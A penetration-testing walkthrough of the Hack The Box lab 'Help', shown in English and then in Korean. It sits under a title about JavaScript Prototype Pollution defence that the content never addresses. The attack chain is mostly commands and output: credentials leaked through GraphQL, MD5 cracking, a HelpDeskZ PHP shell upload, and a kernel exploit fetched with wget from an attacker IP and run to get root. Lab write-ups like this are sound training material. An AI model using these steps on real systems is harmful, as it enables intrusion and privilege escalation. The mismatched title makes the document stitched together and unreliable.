Prototype Pollution: Poisoning JavaScript's Object Chain
How Prototype Pollution corrupts JavaScript's prototype chain and how to defend against it
Target IP: 10.10.10.121
Hostname: help.htb
After adding the hostname to /etc/hosts, I scanned the target.
echo "10.10.10.121 help.htb" | sudo tee -a /etc/hosts
nmap -sC -sV 10.10.10.121
Three ports were open, and the two HTTP services are what mattered.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6
80/tcp open http Apache httpd 2.4.18
3000/tcp open http Node.js Express framework
Port 80 was a plain Apache page. Directory fuzzing with wfuzz turned up /javascript (a dead end, 403) and /support, which turned out to be a HelpDeskZ ticket system.
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://help.htb/FUZZ

Port 3000 answered with JSON, which is a good hint for an API.
curl http://help.htb:3000/
{"message":"Hi Shiv, To get access please find the credentials with given query"}
“With given query” plus an Express backend strongly suggested GraphQL.
Guessing the /graphql endpoint paid off. A simple query for a user object returned credentials directly.
curl -s 'http://help.htb:3000/graphql' \
-H 'Content-Type: application/json' \
--data '{"query":"{ user { username password } }"}'
{"data":{"user":{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}}}

The password was a 32-character hex string, and on a Linux target a raw MD5 is a good first guess. It cracked instantly.
hashcat -m 0 hash /usr/share/wordlists/rockyou.txt
# 5d3c93182bb20f07b994a7f617e99cff:godhelpmeplz
Those credentials logged into the HelpDeskZ instance at /support.
The support system was HelpDeskZ v1.0.2, which has a well-known unauthenticated arbitrary file upload vulnerability. When someone attaches a file to a ticket, HelpDeskZ stores it under uploads/tickets/ even if the extension is rejected, and it renames the file to md5(originalFilename + uploadTimestamp).
That naming scheme is guessable. If you upload a PHP shell and then compute the MD5 of the filename joined with each of the last few hundred seconds, you can find the stored path. A public PoC automates the brute force.
python2 poc.py http://help.htb/support shell.php
found!
http://help.htb/support/uploads/tickets/72a09f3daaac7473bf22c45ce38ee3f7.php
Visiting that path executed the shell, giving code execution as the help user and the user flag.
cat /home/help/user.txt
The box was old, so I checked the kernel version first.
cat /etc/issue # Ubuntu 16.04.5 LTS
uname -r # 4.4.0-116-generic
searchsploit had a direct hit for that kernel.
searchsploit 4.4.0-116
# Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) | linux/local/44298.c
I transferred the exploit, compiled it on the target, and ran it.
wget http://10.10.14.20/44298.c
gcc 44298.c -o exploit
./exploit
task_struct = ffff880036908000
spawning root shell
root@help:/home/help# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

Help is an older box, and it shows. The foothold is a two-step web problem: an unauthenticated GraphQL endpoint leaks a hashed password, and a known-vulnerable version of HelpDeskZ turns a predictable upload filename into remote code execution.
The privilege escalation is pure version-checking. A 2016 kernel with a public local exploit is the whole story. uname -r into searchsploit is often the fastest path on legacy machines.
대상 IP: 10.10.10.121
호스트명: help.htb
도메인을 /etc/hosts에 추가하고 대상을 스캔했습니다.
echo "10.10.10.121 help.htb" | sudo tee -a /etc/hosts
nmap -sC -sV 10.10.10.121
포트는 세 개가 열려 있었고, 중요한 건 HTTP 서비스 두 개였습니다.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6
80/tcp open http Apache httpd 2.4.18
3000/tcp open http Node.js Express framework
80번 포트는 평범한 Apache 페이지였습니다. wfuzz로 디렉터리 퍼징을 돌리니 /javascript(403이라 막다른 길)와 /support가 나왔는데, /support가 바로 HelpDeskZ 티켓 시스템이었어요.
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://help.htb/FUZZ

3000번 포트는 JSON으로 응답했는데, API라는 좋은 힌트죠.
curl http://help.htb:3000/
{"message":"Hi Shiv, To get access please find the credentials with given query"}
“given query”라는 표현에 Express 백엔드라는 점까지 더하면, GraphQL을 강하게 암시합니다.
/graphql 엔드포인트를 찍어본 게 통했습니다. user 객체를 요청하는 간단한 쿼리가 credential을 그대로 돌려줬어요.
curl -s 'http://help.htb:3000/graphql' \
-H 'Content-Type: application/json' \
--data '{"query":"{ user { username password } }"}'
{"data":{"user":{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}}}

비밀번호는 32자리 16진수 문자열이었는데, Linux 대상에서는 raw MD5로 먼저 찔러보는 게 좋은 선택입니다. 곧바로 크랙됐습니다.
hashcat -m 0 hash /usr/share/wordlists/rockyou.txt
# 5d3c93182bb20f07b994a7f617e99cff:godhelpmeplz
이 credential로 /support의 HelpDeskZ에 로그인할 수 있었습니다.
support 시스템은 HelpDeskZ v1.0.2였는데, 잘 알려진 인증 없는 임의 파일 업로드 취약점이 있습니다. 누군가 티켓에 파일을 첨부하면, HelpDeskZ는 확장자가 거부되더라도 그 파일을 uploads/tickets/ 아래에 저장하고, 파일명을 md5(원본파일명 + 업로드시각)으로 바꿔버리거든요.
이 이름 규칙은 추측이 가능합니다. PHP 셸을 업로드한 뒤, 파일명과 최근 몇백 초 각각을 이어 붙여 MD5를 계산하면 저장된 경로를 찾을 수 있어요. 이 무차별 대입을 자동화한 공개 PoC가 있습니다.
python2 poc.py http://help.htb/support shell.php
found!
http://help.htb/support/uploads/tickets/72a09f3daaac7473bf22c45ce38ee3f7.php
이 경로에 접속하니 셸이 실행됐고, help 사용자 권한의 코드 실행과 user 플래그를 얻었습니다.
cat /home/help/user.txt
머신이 오래됐길래, 먼저 커널 버전부터 확인했습니다.
cat /etc/issue # Ubuntu 16.04.5 LTS
uname -r # 4.4.0-116-generic
searchsploit에 이 커널에 대한 정확한 결과가 있었습니다.
searchsploit 4.4.0-116
# Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) | linux/local/44298.c
exploit을 전송하고, 대상에서 컴파일한 뒤 실행했습니다.
wget http://10.10.14.20/44298.c
gcc 44298.c -o exploit
./exploit
task_struct = ffff880036908000
spawning root shell
root@help:/home/help# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

Help는 오래된 머신이고, 그게 그대로 드러납니다. 발판은 두 단계짜리 웹 문제인데요. 인증 없는 GraphQL 엔드포인트가 해시된 비밀번호를 흘리고, 취약한 것으로 알려진 버전의 HelpDeskZ가 예측 가능한 업로드 파일명을 원격 코드 실행으로 바꿔줍니다.
권한 상승은 순수하게 버전 확인이에요. 공개 로컬 익스플로잇이 존재하는 2016년 커널, 그게 이야기의 전부입니다. 오래된 머신에서는 uname -r을 searchsploit에 넣는 게 가장 빠른 길일 때가 많습니다.